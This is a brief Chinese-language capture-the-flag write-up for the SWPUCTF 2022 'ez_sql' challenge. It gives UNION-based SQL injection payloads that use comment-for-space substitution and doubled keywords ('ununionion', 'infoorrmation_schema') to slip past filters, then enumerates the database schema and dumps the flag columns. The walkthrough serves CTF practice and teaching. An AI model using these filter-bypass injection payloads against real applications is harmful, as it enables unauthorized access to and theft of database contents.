[SWPUCTF 2022 新生赛]ez_sql

参数为1的时候没有报错,为2和任何数的时候报,发现空格被过滤了,然后union需要双拼写

4'/**/ununionion/**/select/**/1,2,3;#

发现存在3个

数据库为NSS_db

它的表有两个为,NSS_tb和users

nss=2'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#

查表的字段发现flag

nss=2'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#

查字段的数据

nss=2'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_tb;#